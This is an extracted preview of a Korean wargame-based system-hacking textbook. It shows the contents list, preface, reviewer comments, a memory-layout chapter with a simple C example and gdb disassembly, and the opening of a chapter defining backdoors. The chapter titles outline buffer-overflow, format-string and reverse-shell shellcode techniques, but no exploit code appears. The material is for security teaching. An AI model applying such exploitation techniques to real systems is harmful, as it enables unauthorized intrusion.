문제 풀이로 배우는 시스템 해킹 테크닉 : 해커스쿨 ftz를 활용한 단계별...

63

Post on 22-Jul-2016

381 views

Category:

Documents


48 download

DESCRIPTION

여동기 지음 | 보안 & 해킹 시리즈 _ 003 | ISBN: 9788998139148 | 32,000원 | 2013년 02월 22일 발행 | 476쪽

TRANSCRIPT

00메모리

레이아웃 기초

22

01백도어란

무엇인가?

28

02해킹의 시작

63

목차

•집필동기���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� 10

•해커스쿨소개��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������12

•FTZ서버에서의실습을위한준비�������������������������������������������������������������������������������������������������������������������������������������������14

•참고사이트�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������16

•감사의글�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������18

•배타리더의글�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������19

•메모리구조의이해��������������������������������������������������������������������������������23

•메모리레이아웃을이해하기위한구조분석������������������25

•문제파악��������������������������������������������������������������������������������������������������������30

•문제분석���������������������������������������������������������������������������������������������������������32

•의도분석�������������������������������������������������������������������������������������������������������� 53

•공격��������������������������������������������������������������������������������������������������������������������� 54

•SetUID,SetGID와스티키비트������������������������������������������������������57

•문제파악��������������������������������������������������������������������������������������������������������64

•문제분석���������������������������������������������������������������������������������������������������������67

•의도분석���������������������������������������������������������������������������������������������������������73

•공격����������������������������������������������������������������������������������������������������������������������73

04xinetd 백도어

112

03system( )함수의 위험성

77

05레이스 컨디션

123

06시스템

인터럽트의 위험성

143

•문제파악�������������������������������������������������������������������������������������������������������������� 79

•문제분석��������������������������������������������������������������������������������������������������������������84

•의도분석��������������������������������������������������������������������������������������������������������������96

•공격���������������������������������������������������������������������������������������������������������������������������96

•버퍼오버플로우공격맛보기�����������������������������������������������������������105

•버퍼오버플로우RTL고급공격맛보기����������������������������������110

•문제파악������������������������������������������������������������������������������������������������������������� 115

•문제분석�������������������������������������������������������������������������������������������������������������116

•의도분석�������������������������������������������������������������������������������������������������������������119

•공격��������������������������������������������������������������������������������������������������������������������������119

•문제파악������������������������������������������������������������������������������������������������������������ 127

•문제분석������������������������������������������������������������������������������������������������������������129

•의도분석������������������������������������������������������������������������������������������������������������136

•공격�������������������������������������������������������������������������������������������������������������������������136

•문제파악������������������������������������������������������������������������������������������������������������ 152

•문제분석������������������������������������������������������������������������������������������������������������156

•의도분석������������������������������������������������������������������������������������������������������������168

•공격�������������������������������������������������������������������������������������������������������������������������170

08리눅스

패스워드 파일 크랙

189

07암호화의 시작

172

09버퍼

오버플로우 입문

201

10공유 메모리에

데이터 읽고 쓰기

229

목차

•문제파악�������������������������������������������������������������������������������������������������� 176

•의도분석��������������������������������������������������������������������������������������������������184

•공격���������������������������������������������������������������������������������������������������������������185

•문제파악��������������������������������������������������������������������������������������������������193

•의도분석��������������������������������������������������������������������������������������������������195

•공격���������������������������������������������������������������������������������������������������������������196

•문제파악��������������������������������������������������������������������������������������������������214

•의도분석��������������������������������������������������������������������������������������������������219

•공격���������������������������������������������������������������������������������������������������������������219

•스크립트를이용한문자열입력������������������������������������������224

•문제파악�������������������������������������������������������������������������������������������������233

•의도분석��������������������������������������������������������������������������������������������������241

•공격���������������������������������������������������������������������������������������������������������������241

•공유메모리추가설명�����������������������������������������������������������������243

12버퍼

오버플로우

298

11포맷스트링과

버퍼 오버플로우

246

13스택 가드

319

14루틴 분기

키값의 이해(I)

341

•문제파악�������������������������������������������������������������������������������������������������276

•의도분석������������������������������������������������������������������������������������������������ 280

•공격���������������������������������������������������������������������������������������������������������������281

•포맷스트링절대값지정자������������������������������������������������������ 290

•버퍼오버플로우심화학습������������������������������������������������������291

•문제파악������������������������������������������������������������������������������������������������ 304

•의도분석��������������������������������������������������������������������������������������������������313

•공격���������������������������������������������������������������������������������������������������������������313

•문제파악�������������������������������������������������������������������������������������������������323

•의도분석�������������������������������������������������������������������������������������������������334

•공격��������������������������������������������������������������������������������������������������������������335

•문제파악�������������������������������������������������������������������������������������������������343

•의도분석�������������������������������������������������������������������������������������������������354

•공격��������������������������������������������������������������������������������������������������������������355

16함수

포인터 변조(I)

374

15루틴 분기

키값의 이해(II)

357

17함수

포인터 변조(II)

395

18포인터 활용

409

목차

•문제파악�������������������������������������������������������������������������������������������������359

•의도분석�������������������������������������������������������������������������������������������������368

•공격��������������������������������������������������������������������������������������������������������������368

•문제파악�������������������������������������������������������������������������������������������������378

•의도분석�������������������������������������������������������������������������������������������������387

•공격������������������������������������������������������������������������������������������������������������� 388

•환경변수를이용한버퍼오버플로우������������������������������ 390

•문제파악�������������������������������������������������������������������������������������������������399

•의도분석������������������������������������������������������������������������������������������������ 406

•공격��������������������������������������������������������������������������������������������������������������407

•문제파악��������������������������������������������������������������������������������������������������412

•의도분석��������������������������������������������������������������������������������������������������421

•공격��������������������������������������������������������������������������������������������������������������422

•printf()함수의서식문자�����������������������������������������������������������424

20포맷스트링

복습

446

19공유 라이브러리를 이용한

버퍼 오버플로우

425

21배시셸을 실행하는

경량 셸코드 제작

456

22리버스로 배시셸을 연결하는

경량 셸코드 제작

470

•문제파악������������������������������������������������������������������������������������������������������������431

•의도분석�����������������������������������������������������������������������������������������������������������438

•공격������������������������������������������������������������������������������������������������������������������������439

•setreuid(3100,3100)함수를셸코드로만들기��������������������441

•문제파악�����������������������������������������������������������������������������������������������������������447

•의도분석�����������������������������������������������������������������������������������������������������������452

•공격������������������������������������������������������������������������������������������������������������������������452

•문제파악�����������������������������������������������������������������������������������������������������������457

•문제파악������������������������������������������������������������������������������������������������������������ 471

해킹 공부를 시작하기 위해 프로그래밍과 운영체제 공부를 시작한 이후 저자에게는 공통된

고민거리가 있었다. 독자도 공감할지는 모르겠지만 공부하기 위해 구매한 책을 읽다 보면 해

킹에 대한 상식을 제외하고 내가 실제로 할 수 있는 실력이 늘 만한 중요한 핵심 노하우를 제

공하지 않는다는 딜레마에 빠지게 됐다. 마치 해킹 소설을 재밌게 읽은 후 해킹이 일어나는

현상은 알겠지만 내가 익혀서 할 수 있기까지 중요한 정보를 제공하는 책은 없었다. 굳이 있

었다고 하면 툴을 다루는 책 정도가 전부였다. 하지만 저자는 스크립트키디가 아닌 해커가

되고 싶었기 때문에 항상 목마른 상태였다.

아울러 저자의 지식 수준이 낮아서일 수도 있겠지만 예전에는 한글로 된 쉽게 이해할 수 있

는 책이 없었고, 인터넷을 이용해 영문 자료를 찾는 데도 미숙해서 정보가 될 만한 자료를 찾

는 데 많은 기간을 보내야만 했다.

하지만 해커가 되고 싶은 꿈을 포기하지 않고 꾸준히 연구해온 지 올해로 15년째가 된 지금

도 시스템 해킹의 핵심 기술 정보를 제공하는 한글로 된 책은 없는 것으로 생각한다. 그래서

이른바 해커팀에서 공유되고 연구되는 수준의 핵심 정보나 노하우를 책으로 공개해서 많은

시스템 해킹 입문자들에게 시간을 절약해 줄 필요가 있다는 생각이 들었다.

이 책에서는 시스템 해커의 기본 소양을 갖출 수 있는 정보를 다룬다. 먼저 많은 기술 서적에

서 언급하고 있는 이론적인 지식을 간략하게 다뤘고, 그러한 이론을 실제 공격에 적용하는

핵심 원리를 구체적이면서 명확하고 짧게 표현했다. 군더더기 없는 정확한 정보만이 여러분

의 시행착오를 줄일 수 있을 것이라는 신념 때문이었다.

집필 동기

저자의 학습 습관에서 오는 단점일 수도 있겠지만 이 분야를 공부해 오던 과정에서 가장 어

려웠던 점이 공격 방법에 관한 원리를 약간은 두루뭉술하게 설명한 경우에는 그렇게 동작하

는 정확한 원리를 이해할 수 없어서 내 것으로 만드는 데 오랜 시간이 걸렸다는 점이었다. 우

리는 기술을 다루기 때문에 막연하게 아는 것은 모르는 것과 큰 차이가 없다. 반대로 정확하

게 아는 것과 비슷하게 아는 것은 다른 것이라 생각하며, 우리가 언론에서 보도하는 IT 강국

이 되려면 기술을 정확하게 알아야만 가능하다고 생각한다.

개인적으로 대한민국은 아직까지 IT 강국이 되지 못했다고 생각한다. 여러분이 깊이 있게

공부해 보면 알겠지만 우리나라에는 핵심 기술이 많지 않다. 컴퓨터 분야를 보면 소프트웨

어에서 핵심인 운영체제가 그렇고 하드웨어에서의 핵심인 CPU도 사정은 마찬가지다. 그나

마 메모리가 있어서 다행이긴 하지만 물리적인 부분이므로 두뇌에 해당하지 않아서 조금 안

타깝다.

이런 이유로 정확하게 몰라서 설명을 못했거나, 자신이 알아온 노력을 공유하지 않아서 공

유되지 못했던 것으로 추측되는 시스템 해킹의 기본 지식을 공유하고자 이 책을 쓰게 됐으니

여러분은 저자보다 짧은 시간에 정확한 개념을 이해해서 대한민국을 자타가 공인하는 컴퓨

터 핵심 기술을 갖춘 IT 강국으로 만드는 데 큰 역할을 해 주길 바란다.

마지막으로 이 책에서는 여러분이 정확한 원리를 이해할 수 있게 정보를 제공하는 데 초점을

맞췄다. 독자마다 문서를 이해하는 스타일이 다르기 때문에 모든 독자를 이해시킬 수는 없을

것이라고 생각하며, 이 점에 관해 미리 양해를 구한다.

혹시 이 책에서 설명한 내용이 이해되지 않는 독자는 자신이 풀고 있는 레벨을 네이버나 구

글 같은 검색엔진에서 검색한 후 참고하길 권장한다. 다른 글을 읽어보면 알겠지만 검색되는

글에는 저자가 앞에서 언급한 것처럼 정확한 원리를 언급하지 않았을 것이다. 이렇게 검색을

통해 자신에게 맞는 설명으로 개념을 잡은 후 저자의 설명을 보면 손쉽게 얻을 수 없는 핵심

원리를 함께 공유할 수 있는 장이 이 책에 펼쳐져 있다는 사실을 이해하게 될 것이다.

참고로 검색엔진에서 검색할 때는 “해커스쿨 레벨10”이나 “hackerschool level10”과 같은

키워드로 검색하면 많은 기초 내용들이 검색될 것이다.

저자는 인류의 발전에 도움이 되고자 리눅스를 비롯한 각종 무료 소프트웨어를 계속해서 업

데이트하고 있는 해커들을 존경한다. 저자도 이런 해커들의 움직임에 동참하는 바이며, 이

책을 통해 많은 후발 주자들이 더욱 빨리 시스템 해커로 거듭나길 바란다.

해커스쿨은 멍멍님과 구타님이 운영하는 공개 커뮤니티 사이트로, 해킹 입문자를 위한 많

은 정보를 제공하고 국내 유일의 시스템 해킹 실습용 FTZ 공개 서버를 운영 중인 사이트이

기도 하다.

해커스쿨 소개

홈페이지를 통해 2년마다 신입 멤버를 뽑고 있는 WiseGuys라는 스터디 그룹을 운영하면서

활동하고 있고, 해커스쿨 해킹캠프 개최와 데프콘 CTF(Capture The Flag)와 같은 유명 해

킹대회 참가를 포함한 왕성한 활동을 하고 있다.

시스템 해킹의 기본적인 공격 방법을 FTZ 서버를 통해 잘 배울 수 있기 때문에 입문자에게

는 유용한 사이트라고 할 수 있다.

해커스쿨(http://www.hackerschool.org)은 크게 커뮤니티, 유치원 ~ 대학생, 연구소, 운

동장, 도서관, 해킹 이벤트와 해쿨샵 메뉴가 있으며, 커뮤니티에서는 질문과 답변을 통해 서

로 정보를 공유할 수 있는 장으로 활용되고 있다. 유치원 ~ 대학생 메뉴에서는 수준별로 도

움이 될 만한 기술문서를 제공하고 있으며, 연구소는 WiseGuys 멤버들만이 출입 가능하고,

운동장은 FTZ 서버를 원격에서 텔넷으로 접속해서 사용할 수 있다.

이 사이트는 현재 국내에 유일하게 시스템 해킹을 주제로 살아남은 정보 공유의 장이기 때문

에 이 사이트를 이용해 해킹하고자 하는 욕심을 가지고 접근해서는 안 된다. 운영자의 철학

을 존중해서 한국의 보안 역량이 더 강해질 수 있는 공유의 장으로 삼아주길 바란다.

FTZ 서버는 공개된 무료 서버라서 지속적으로 DoS 공격을 받고 있어 가끔씩 느려지거나 접

속이 안 되는 현상이 있지만 서버 자체에 문제가 있는 것은 아니다.

운동장 메뉴에 있는 이용법 참고

리눅스를 전혀 모르는 독자라면 trainer 계정으로 시스템의 기본 사용법을 배우는 것도 중요

하다.

FTZ 서버에서의

실습을 위한 준비

FTZ 서버에 텔넷으로 접근하는 방법

푸티(Putty)나 테라텀(Teraterm) 같은 텔넷 접속 프로그램을 사용하는 것을 권장한다.

실습을 위해 준비해야 하는 환경

•인터넷에연결돼있어야함

•인터넷으로텔넷접속이가능한모든운영체제가능

프랙(http://www.phrack.org)

해킹과 관련된 핵심 기술이 텍스트

기반으로 올라오는 곳으로, 훌륭한

자료가 굉장히 많다. 영문 사이트라

는 단점이 있긴 하지만 영어를 극복

할 필요가 충분히 있는 중요한 사이

트다.

시큐리티 포커스

(http://www.securityfocus.com)

새롭게 발표되는 취약점을 공유하

는 사이트로, 트렌드를 읽을 수 있

는 사이트다.

참고 사이트

익스플로잇 디비

(http://www.exploit-db.com)

시큐리티 포커스보다는 익스플로잇

과 셸코드에 중점을 둔 사이트로,

시큐리티 포커스와 함께 참고하면

유용하다.

셸스톰

(http://www.shell-storm.org)

셸코드를 공개하는 사이트로, 기본적인 셸코드를 만들 수 있는 수준의 사용자에게 유용한 사

이트다. 이 책을 완독하고 난 후에는 이 사이트의 내용이 크게 도움될 것이다.

스매시더스택

(http://www.smashthestack.org)

최근 괜찮은 시스템 해킹 워게임으

로 인정받고 있는 사이트이다. 이

책의 내용을 완전하게 이해한다면

IO 파트부터 도전해 볼 수 있는 능

력을 갖추게 될 것이다. 오버와이어

에서 제공하는 vortex와 semtex 워

게임도 유명하니 시간이 허락한다

면 함께 공부해 보길 바란다.

그리고 저자가 공부하면서 참고한 사이트는 인터넷에서 검색되는 모든 문서인 것 같다. 특정

사이트 하나만 보고 정확한 개념을 이해한 적이 없었고 검색되는 내용을 바탕으로 수많은 실

습한 후에야 겨우 이해할 수 있었기 때문이다.

이렇게 저자가 가진 지식을 여러분과 공유할 수 있도록 도움을 준 나의 아내와 이제 22개월

된 아기 천사에게 먼저 감사의 마음을 전한다. 이 두 사람의 절대적인 협조가 없었다면 이 책

을 출간하기가 불가능했을 것이다.

그리고 라스베이거스 데프콘 CTF 본선에 함께 갔던 Vangelis 형을 포함한 Alternatives(구,

Song of freedom) 멤버들과 문제 풀이 내용의 출판을 허락해 준 해커스쿨 사이트의 운영자

멍멍이에게도 감사의 인사를 전한다.

개인적으로는 아쉽게도 출판사의 규정에 따라서 모든 단어를 한글로 표기해야만 했다. 하지

만 원어의 정확한 뉘앙스를 이해하는 것이 중요하므로 원문도 반드시 참고하길 바란다.

시작이 반이라는 말이 맞는 것 같다. 이렇게 여러분과 현실적인 지식 공유를 시작했으니 정

보를 공유하는 더 큰 움직임이 대한민국에서도 끊임없이 일어나기를 희망한다.

우리의 자식 세대에서는 선진국으로 도약한 대한민국을 꿈꾸면서 이만 줄인다.

감사의 글

베타 리더의 글

이 책은 해커가 되고 싶은 사람뿐 아니라 보안에 관심이 있으면서 해킹과 관련된 궁금증과

지식이 필요한 분들을 위해 단계별로 체계적인 설명과 함께 기초적인 지식을 제공한다. 기

본적인 지식뿐 아니라 해킹의 원리를 이해하기 쉽게 설명할뿐더러 공부하는 데 지치지 않게

문제 풀이 형식으로 설명함으로써 어렵고 복잡한 해킹의 원리를 독자들에게 고스란히 전해

준다.

또한, 이 책은 해킹과 악성코드 분석, 메모리 구조, 디버깅 등에 대한 기본적인 지식을 습득

할 수 있게 다양한 예제를 사용하면서 누구나 쉽게 따라 할 수 있게 쓰여 있다.

몰론 이 책에 있는 모든 지식과 기술을 습득한다고 해서 바로 해커가 되는 것은 아니지만 해

킹의 원리를 알고자 하는 분들과 기업의 보안 담당자까지 모두 이 책을 통해 악의적인 해커

들이 취약점을 악용해 공격 코드를 만드는 방법을 비롯해 이러한 공격을 막기 위해 담당자

또는 화이트 해커가 최소한 갖춰야 할 기본적인 내용을 체계적으로 파악할 수 있어 많은 도

움이 되리라 생각한다.

넥슨 정보보안실장 홍관희

베타 리더의 글

컴퓨터를 좋아하는 사람들 가운데 해킹에 대한 로망을 가져보지 않은 사람은 없을 것입니

다.

이 책을 읽으면서 그동안 꿈꾸던 해킹이라는 것이 어떻게 이뤄지고 어떤 방법과 어떠한 이

유에서 가능한 것인지 조금이나마 이해할 수 있었습니다.

이 책은 해킹이라는 로망으로 향하는 첫걸음을 뗄 수 있는 해킹 입문서이며, 이미 기초적인

지식을 갖춘 사람에게 더욱 필요한 책입니다. 이 책을 읽는 내내 목적지로 가는 길을 무작

정 알려주기보다 그 길로 갈 수 있는 원리를 알려줘서 정말 좋았습니다.

보안전문가를 꿈꾸며 서울에 상경해 어느덧 7년이라는 세월이 흘렀고 현재 리눅스 엔지

니어로 근무하고 있습니다. 리눅스 엔지니어 생활을 하면서 보안 이슈인 루트 익스플로잇

(root exploit)이 되는 버그가 있었을 때 그냥 버그구나, 하고 넘어갔었는데, 이 책을 보면서

그것이 어떻게 가능한지 이해할 수 있었습니다.

이 책은 단순한 해킹에 대한 논리와 설명만이 있는 것이 아니라 문제가 발생했을 때 문제를

해결하는 과정이 단계적으로 설명돼 있어 한층 더 이해하기 쉬웠습니다. 책에 나열돼 있는

경우 이외에도 책에서 알려주는 사고 방식을 통해 책에서 다루는 내용 이상의 문제를 해결

할 수 있을 것입니다.

비록 지식이 미흡해서 책 내용을 완벽하게 이해하지는 못했지만 새로운 사고 방식을 접할

수 있는 좋은 기회였습니다. 더불어 저자분의 숙성된 내공을 공유해 주셔서 감사합니다.

리눅스엔지니어 김태욱

해킹 공부를 할 때 워게임을 통해 연습하는 것은 꾸준한 동기부여와 성취감을 줄 수 있어서

굉장히 효과적이다. 해킹을 공부하려는 사람은 누구나 한 번쯤은 워게임을 시작했을 텐데

꾸준히 공부해서 문제를 모두 풀기란 생각보다 쉽지 않다.

국내의 워게임으로는 기본기를 잘 다질 수 있는 문제로 구성된 해커스쿨의 FTZ이 많은 이

들의 사랑을 받아 오고 있다. 그러나 막상 공부를 하려고 하면 자료가 충분하지 않거나 쉽

게 접근하기 어렵다는 점이 늘 아쉬웠다.

이 책은 입문자가 헤매지 않고 따라 할 수 있도록 배경지식에 대해서도 자세하게 설명하고

있고, 누구나 한번쯤은 고민했거나 고민할 법한 문제에 대해 저자의 경험을 살려서 재미있

게 설명하고 있어 초보자가 고생하지 않고 기본기를 잘 다질 수 있게 구성돼 있다.

문제를 직접 풀어보는 것과 풀이를 읽는 것은 하늘과 땅 차이다. 먼저 문제를 풀어보다가

막히는 부분을 읽거나 자신의 풀이와 비교하는 방식으로 이 책을 활용한다면 반드시 실력

향상에 큰 보탬이 되리라 믿는다.

해커스쿨에는 ROP나 커널 해킹 등 고급 주제가 부족하다는 아쉬움이 있다. 이 책으로 기본

기를 잘 다져서 overthewire, smashthestack, exploit-exercisesr 같은 외국 워게임에도 도전

한다면 더욱 좋을 것이다. 아울러 우리나라에서도 다양한 레벨의 워게임이 더 늘어나기를

소망해 본다.

alternatives팀 mayfly74

22 문제 풀이로 배우는 시스템 해킹 테크닉

00메모리레이아웃 기초

00 _ 메모리 레이아웃 기초 23

01 메모리 구조의 이해

버퍼 오버플로우 공격과 리버싱 같은 시스템 해킹 기법을 이해하려면 메모리의 레이아웃을

반드시 이해해야 한다. 그런데 저자가 처음 시스템 해킹 기법을 공부할 때는 각종 기법에 대

한 궁금증을 충족할 만한 책이 시중에 거의 없었기 때문에 주로 인터넷에서 검색되는 수많은

영어로 된 문서를 통해 이해해야만 했다. 이로써 메모리의 레이아웃을 정확하게 이해하기까

지 몇 년이란 긴 시간이 걸렸지만 이를 정확하게 이해해야만 해커에 한 발짝 다가설 수 있었

기 때문에 수고와 시간은 중요하지 않았다. 수많은 시행착오를 통해 메모리 레이아웃을 이해

하느라 시간이 오래 걸리긴 했지만 그러한 시행착오 덕분에 지금껏 쌓은 노하우를 여러분과

공유할 수 있게 된 것 같다.

그럼 먼저 우리가 작성하는 소스코드가 어떻게 메모리에 배치되는지 살펴보자. 아래와 같은

코드가 있다고 해보자.

예제 0.1_소스코드의 메모리 구성을 확인하기 위한 예제 / 파일명_hello.c

#include <stdio.h>

int retVal = 0;

int outVal;

int main( )

{

charstring[]="hello"; //"hello"라는문자열을char배열에초기화

char*ptr; //char타입의포인터를선언

staticintoutput=1; //output이라는static변수를1로초기화

ptr=(char*)malloc(sizeof(string)); //ptr포인터변수에동적힙메모리주소를할당

printf("%s\n",string); //문자열출력

return retVal;

}

24 문제 풀이로 배우는 시스템 해킹 테크닉

표 0.1은 예제 0.1의 내용이 메모리에 어떻게 배치되는가를 보여준다. 실제 소스코드는 표

0.1과 같이 메모리에 올라가고, CPU가 이 내용을 읽어 CPU 안에 있는 레지스터로 불러와서

처리한 후 실행된 결과가 우리에게 보여진다.

물리 주소 메모리 세그먼트 저장 데이터 실제 데이터

0x000000 Text(=Code) 실행명령 #include<stdio�h>intmain(){printf(“%s\n”,string);returnretVal;}

� Data 전역,const,static변수,초기화된변수 intretVal=0;staticintoutput=1;

� BSS 초기화되지않은변수 intoutVal;

� Heap 동적메모리 ptr=(char*)malloc(sizeof(string));

� 힙과스택의여분공간 변수가늘어날경우힙과스택의시작점사이에있는이공간에할당

0xffffffff Stack 지역변수 charstring[]=“hello”;char*ptr;

표 0.1 메모리 레이아웃

사실 여러분이 사용 중인 윈도우 운영체제의 GUI와 예제 0.1의 실행 결과로 출력될 아래의

CLI 화면도 모두 동일한 처리 과정을 통해 우리에게 보여진다.

표 0.1을 보면 스택은 지역변수가 쌓일수록 메모리의 낮은 주소 방향으로 데이터가 쌓이는

특이한 구조라는 점을 기억해 둬야 한다. 이는 힙과 스택의 여분 공간에 해당하는 메모리 영

역을 최대한 효율적으로 사용하기 위함이다.

[level1@ftz tmp]$ gcc –o hello hello.c

[level1@ftz tmp]$ ./hello

hello

[level1@ftz tmp]$

보다시피 예제 0.1을 컴파일해서 실행하면 “hello”라는 문자열이 출력된다.

00 _ 메모리 레이아웃 기초 25

02 메모리 레이아웃을 이해하기 위한 구조 분석

우리는 항상 C 코드를 작성한 후 실행 결과를 보기 때문에 실제 데이터가 처리될 때의 구조

도 우리가 작성한 C 코드와 똑같을 것이라는 착각에 빠질 수밖에 없다. 하지만 우리가 살아

가는 사회도 그렇듯이 컴퓨터의 모든 동작은 철저히 분업화돼 있다는 사실을 기억해야 한다.

조금 다르게 표현하면 여러분이 작성한 코드는 C 언어의 문법만 준수하면 되지만 실행 파일

은 해당 실행 파일이 실행될 플랫폼의 환경에 맞춰 최적화된 형태로 재구성된다. 엄밀하게

따지면 비교가 다소 정확하진 않겠지만 이 두 과정을 굳이 프로그램 언어로 비교하자면 전자

는 C 언어가 될 테고 후자는 어셈블리 언어가 될 것이다.1

여러분은 예제 0.2에 나온 코드에 익숙할 것이다. 이 코드를 기반으로 여러분이 착각하고 있

을 법한 개념을 먼저 설명하겠다.

예제 0.2_인자가 전달되는 순서를 확인하기 위한 예제 / 파일명_structure.c

#include <stdio.h>

/*function()함수정의*/

voidfunction(inta,intb,intc){//int타입의a,b,c인자를받음

charbuffer1[5];//char타입의buffer배열을지역변수로선언

charbuffer2[10];//char타입의buffer2배열을지역변수로선언

}

int main( ) {

function(1,2,3);//function()함수에인자로1,2,3를전달하면서호출

return 0;

}

코드를 보면 main( ) 함수가 실행되면서 function( ) 함수에 3개의 인자를 전달하고, 함수의

실행이 끝나면 main( ) 함수가 종료된다.

1 참고로 앞으로 다룰 내용은 알렙 원(Aleph One)의 『Smashing The Stack For Fun And Profit』 문서(Phrack 49호에 실려 있음. http://www.phrack.org/issues.

html?issue=49&id=14#article)에 실린 예제를 토대로 설명하겠다.

26 문제 풀이로 배우는 시스템 해킹 테크닉

여기서 main( ) 함수에서 function( ) 함수에 전달하는 인자의 순서는 어떻게 될까? 이때 일

반적인 독자라면 코드에 나온 대로 a=1 → b=2 → c=3의 순서로 전달되리라 생각할 것이다.

하지만 실제로 프로그램을 디버깅해 보면 생각한 것과 반대되는 순서로 스택에 변수값이 쌓

이는 것을 볼 수 있다.

그럼 실제로 파일을 디버깅해서 이를 확인해 보자. 먼저 파일을 디버깅하려면 실행 파일이

있어야 하므로 아래와 같이 소스코드를 컴파일해서 실행 파일을 만든다.

[level1@ftz tmp]$ gcc -o structure structure.c

[level1@ftz tmp]$ ./structure

[level1@ftz tmp]$

gcc 컴파일러를 이용해 실행 파일을 만들었으니 이제 실행 파일을 디버깅할 수 있다. 참고로

실행 결과가 아무것도 없는 것은 화면을 이해하기 쉽게 하기 위해 출력과 같은 기본적인 기

능도 코드에 넣지 않았기 때문이다.

structure.c 파일은 main( )과 function( )의 두 개의 함수만 들어 있는 간단한 구조다. 여기

서 함수의 인자 전달 순서를 확인하기에는 function( ) 함수가 적당하므로 function( ) 함수

를 디스어셈블해 보면 소스코드가 메모리에 어떻게 배치되는지 직접 확인할 수 있다.

[level1@ftz tmp]$ gdb structure

GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)

Copyright 2003 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are

welcome to change it and/or distribute copies of it under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-redhat-linux-gnu"...

(gdb) disas main

Dump of assembler code for function main:

0x080482fc <main+0>: push %ebp

0x080482fd <main+1>: mov %esp,%ebp

0x080482ff <main+3>: sub $0x8,%esp

0x08048302 <main+6>: and $0xfffffff0,%esp

0x08048305 <main+9>: mov $0x0,%eax

0x0804830a <main+14>: sub %eax,%esp

0x0804830c <main+16>: sub $0x4,%esp

00 _ 메모리 레이아웃 기초 27

0x0804830f <main+19>: push $0x3

0x08048311 <main+21>: push $0x2

0x08048313 <main+23>: push $0x1

0x08048315 <main+25>: call 0x80482f4 <function>

0x0804831a <main+30>: add $0x10,%esp

0x0804831d <main+33>: leave

0x0804831e <main+34>: ret

0x0804831f <main+35>: nop

End of assembler dump.

(gdb)

여기서 function( ) 함수를 호출하는 부분은 굵게 표시했다. 디스어셈블하면서 표시되는 나

머지 복잡한 부분에 대해서는 이후에 자세히 설명할 테고, 인자의 전달 순서에 해당하는 부

분만 뽑아서 설명하겠다. 우선 앞에서 굵게 표시한 부분만 살펴보자.

0x0804830f <main+19>: push $0x3

0x08048311 <main+21>: push $0x2

0x08048313 <main+23>: push $0x1

0x08048315 <main+25>: call 0x80482f4 <function>

보다시피 우리의 추측과는 달리 function( ) 함수에 제공한 인자값이 c=3 → b=2 → a=1의

순서로 전달되는 것을 볼 수 있다. 이처럼 사소하고 단순해 보이는 인자값의 스택 배치 순서

가 해커로서의 자질을 결정하는 가장 기본적이고도 핵심적인 원리이므로 이를 반드시 기억

해야 한다.

이제 이 같은 기본적인 인자 전달의 원리를 이용해 해커스쿨에서 제시하는 좀 더 다양한 문

제를 풀어봄으로써 시스템 해킹의 기본기를 다져 보자.

01백도어란 무엇인가?

01 _ 백도어란 무엇인가? 29

1장에서는 컴퓨터 보안에서 흔히 말하는 백도어(Backdoor)에 관해 설명하겠다. 먼저 백도

어라는 단어의 사전적 의미와 일반적으로 통용되는 의미를 정리해 보자.

1�네이버 사전: 뒷문

2�일상적으로 통용되는 개념:몰래다닐수있는임시통로

3�위키피디아:컴퓨터시스템(또는암호화시스템,알고리즘)의백도어(backdoor)는일반적인인증을통과,원

격접속을보장하고plaintext(암호화되지않은평범한글)에의접근을취득하는등의행동을들키지않고행

하는방법을일컫는다�백도어는설치된프로그램의형태를취하기도하고,기존프로그램또는하드웨어의

변형일수도있다�

이상으로 용어의 뜻을 찾아본 결과, 컴퓨터 보안에서 수시로 언급되는 백도어라고 하는 개념

은 이해하기가 쉽지 않다. 여러분도 대부분 백도어를 개념적으로 알기는 하겠지만 백도어를

전혀 모르는 사람에게 정확한 개념을 전달하기는 쉽지 않을 것이다.

그럼 저자가 생각하는 백도어의 개념을 설명하겠다. 우리는 인증(authentication)과 인가

(authorization)가 체계화된 세계에서 살고 있다. 가령 도서관에서 책을 대출하고 싶다고 해

보자. 이 경우 본인임을 입증할 수 있는 학생증이나 주민등록증, 운전면허증, 여권과 같은 신

분증을 제시함으로써 도서 대출을 받을 수 있는 인가를 얻게 된다. 이때 각 개인을 신분증을

통해 확인하는 이유는 이미 알고 있을 것이다.

또 다른 예로 인터넷에서 이메일을 사용한다고 해보자. 자신의 계정으로 로그인하려면 아이

디와 패스워드를 입력해야 한다. 아이디와 패스워드를 입력한 후 로그인 버튼을 누르면 서버

에서는 입력된 아이디와 패스워드가 서버에 등록된 값과 일치하는지 확인하고, 일치하면 입

력된 아이디의 권한으로 로그인하게 하고 일치하지 않으면 입력한 내용이 틀렸다는 에러 메

시지를 표시한다.

다시 일상적인 예로 돌아가 보면 중/고등학생들의 경우 학교 정문이 아닌 개구멍을 이용한

경험이 있을 것이다. 대학생이라면 더할 테고, 군생활의 경험까지 있다면 더욱 잘 알 것이다.

그런데 개구멍을 만들고 그곳을 이용하는 이유는 무엇일까? 바로 인증과 인가를 회피하기

위해서다. 즉, 실생활에서 내가 나라고 이야기할 경우 그게 나임을 증명하는 공신력 있는 신

분증과 그에 준하는 자료를 제시해야만 내가 나라는 것을 인정(인가)받게 된다. 다른 말로 하

면 남이 내 행세를 쉽게 하지 못하도록 사회적인 체계를 만들어 둔 것이다.

30 문제 풀이로 배우는 시스템 해킹 테크닉

그렇다면 실생활에서는 신분증이나 지인을 통하는 등의 다양한 방법으로 내가 나임을 인증

(증명)할 수 있다고 할 수 있지만 컴퓨터 세계에서는 어떨까? 현재까지 통용되는 가장 대표

적인 인증 방법은 아이디와 패스워드 인증이다. 즉, 아이디와 패스워드 문자열이 서버에 등

록된 값과 정확하게 일치한다면 내가 나임을 인정받게 된다.

하지만 현실세계에서 정문으로 다니기를 원하지 않는 사람이 있듯이 컴퓨터 세계에서도 정

상적인 경로(로그인 창)를 통하고 싶지 않는 사람이 있게 마련이다. 따라서 정상적인 아이디

와 패스워드를 입력한 후 서버에서 본인이 맞는지 확인하는 과정을 회피하는 접근 경로를 바

로 백도어(개구멍)라 한다.

